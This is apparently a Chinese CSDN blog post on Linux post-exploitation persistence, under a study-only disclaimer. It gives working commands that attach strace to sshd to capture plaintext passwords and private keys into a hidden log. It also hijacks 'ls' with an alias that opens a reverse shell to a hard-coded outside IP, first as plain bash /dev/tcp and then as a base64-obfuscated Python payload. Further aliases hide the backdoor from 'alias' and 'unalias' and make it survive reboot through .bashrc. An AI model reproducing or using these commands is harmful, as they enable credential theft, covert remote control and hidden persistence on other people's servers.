免責聲明:本文僅做技術交流與學習...

目錄

監控功能Strace后門

1、記錄 sshd 明文

監控

篩選查看

2、記錄sshd私鑰

命令自定義Alias后門

1、簡單粗魯實現反彈：

靶機替換命令

?攻擊機監聽上線

2.升級(讓命令正常)

將反彈命令進行base64編碼

替換alias命令

靶機執行命令

攻擊機監聽--上線

3、持久化+隱藏:重啟依舊生效

---

【權限維持】Linux&Rootkit后門&Strace監控&Alias別名&Cron定時任務_alias ls='alerts(){ ls $* --color=auto;python -c "-CSDN博客

監控功能Strace后門

strace 是一個動態跟蹤工具，它可以跟蹤系統調用的執行。?
我們可以把他當成一個鍵盤記錄的后門，來擴大我們的信息收集范圍.

1、記錄 sshd 明文

監控

(strace -f -F -p `ps aux|grep "sshd -D"|grep -v grep|awk {'print $2'}` -t -e trace=read,write -s 32 2> /tmp/.sshd.log &)

篩選查看

當有主機連接時就會顯示其明文密碼,

grep -E 'read\(6, ".+\\0\\0\\0\\.+"' /tmp/.sshd.log

---

2、記錄sshd私鑰

同上...

(strace -f -F -p `ps aux|grep "sshd -D"|grep -v grep|awk {'print $2'}` -t -e trace=read,write -s 4096 2> /tmp/.sshd.log &)grep 'PRIVATE KEY' /tmp/.sshd.log

---

命令自定義Alias后門

?(將命令進行別名自定義)
alias 命令的功能：為命令設置別名?

---

定義：alias ls='ls -al'?
去掉別名：unalias ls?
每次輸入 ls 命令的時候都能實現 ls -al?

缺點:雖然好用,但是靶機重啟就會失效!!!

---

1、簡單粗魯實現反彈：

靶機替換命令

alias ls='alerts(){ ls $* --color=auto;bash -i >& /dev/tcp/47.94.236.117/3333 0>&1; };alerts' 

可以發現靶機在執行正常ls命令的時候直接出問題了.?

?攻擊機監聽上線

?

---

2.升級(讓命令正常)

alias ls='alerts(){ ls $* --color=auto;python3 -c "import base64,sys;exec(base64.b64decode({2:str,3:lambda b:bytes(b,'\''UTF-8'\'')}[sys.version_info[0]]('\''aW1wb3J0IG9zLHNvY2tldCxzdWJwcm9jZXNzOwpyZXQgPSBvcy5mb3JrKCkKaWYgcmV0ID4gMDoKICAgIGV4aXQoKQplbHNlOgogICAgdHJ5OgogICAgICAgIHMgPSBzb2NrZXQuc29ja2V0KHNvY2tldC5BRl9JTkVULCBzb2NrZXQuU09DS19TVFJFQU0pCiAgICAgICAgcy5jb25uZWN0KCgiNDcuOTQuMjM2LjExNyIsIDY2NjYpKQogICAgICAgIG9zLmR1cDIocy5maWxlbm8oKSwgMCkKICAgICAgICBvcy5kdXAyKHMuZmlsZW5vKCksIDEpCiAgICAgICAgb3MuZHVwMihzLmZpbGVubygpLCAyKQogICAgICAgIHAgPSBzdWJwcm9jZXNzLmNhbGwoWyIvYmluL3NoIiwgIi1pIl0pCiAgICBleGNlcHQgRXhjZXB0aW9uIGFzIGU6CiAgICAgICAgZXhpdCgp'\'')))";};alerts'import os,socket,subprocess;
ret = os.fork()
if ret > 0:exit()
else:try:s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)s.connect(("IP", PORT))os.dup2(s.fileno(), 0)os.dup2(s.fileno(), 1)os.dup2(s.fileno(), 2)p = subprocess.call(["/bin/sh", "-i"])except Exception as e:exit()

將反彈命令進行base64編碼

替換alias命令

alias ls='alerts(){ ls $* --color=auto;python3 -c "import base64,sys;exec(base64.b64decode({2:str,3:lambda b:bytes(b,'\''UTF-8'\'')}[sys.version_info[0]]('\''這里是你base64編碼的'\'')))";};alerts'alias ls='alerts(){ ls $* --color=auto;python3 -c "import base64,sys;exec(base64.b64decode({2:str,3:lambda b:bytes(b,'\''UTF-8'\'')}[sys.version_info[0]]('\''aW1wb3J0IG9zLHNvY2tldCxzdWJwcm9jZXNzOwpyZXQgPSBvcy5mb3JrKCkKaWYgcmV0ID4gMDoKICAgIGV4aXQoKQplbHNlOgogICAgdHJ5OgogICAgICAgIHMgPSBzb2NrZXQuc29ja2V0KHNvY2tldC5BRl9JTkVULCBzb2NrZXQuU09DS19TVFJFQU0pCiAgICAgICAgcy5jb25uZWN0KCgiNDcuOTQuMjM2LjExNyIsIDY2NjYpKQogICAgICAgIG9zLmR1cDIocy5maWxlbm8oKSwgMCkKICAgICAgICBvcy5kdXAyKHMuZmlsZW5vKCksIDEpCiAgICAgICAgb3MuZHVwMihzLmZpbGVubygpLCAyKQogICAgICAgIHAgPSBzdWJwcm9jZXNzLmNhbGwoWyIvYmluL3NoIiwgIi1pIl0pCiAgICBleGNlcHQgRXhjZXB0aW9uIGFzIGU6CiAgICAgICAgZXhpdCgp'\'')))";};alerts'

靶機執行命令

注意發現這里的ls命令正常執行了.?

攻擊機監聽--上線

?

---

3、持久化+隱藏:重啟依舊生效

這個東西就是修改Linux的啟動配置文件,? ? ? ? (.bashrc)

--但是有的服務器不讓修改此文件...(阿里云,騰訊云,dk盾,華為...)

alias unalias='alerts(){ if [ $# != 0 ]; then if [ $* != "ls" ]&&[ $* != "alias" ]&&[ $* != "unalias" ]; then unalias $*;else echo "-bash: unalias: ${*}: not found";fi;else echo "unalias: usage: unalias [-a] name [name ...]";fi;};alerts'alias alias='alerts(){ alias "$@" | grep -v unalias | sed "s/alerts.*lambda.*/ls --color=auto'\''/";};alerts'# 修改啟動項文件,將命令添加進去.
vim /etc/upload
vim ～/.bashrc
if [ -f /etc/upload ]; then
. /etc/upload
fi

---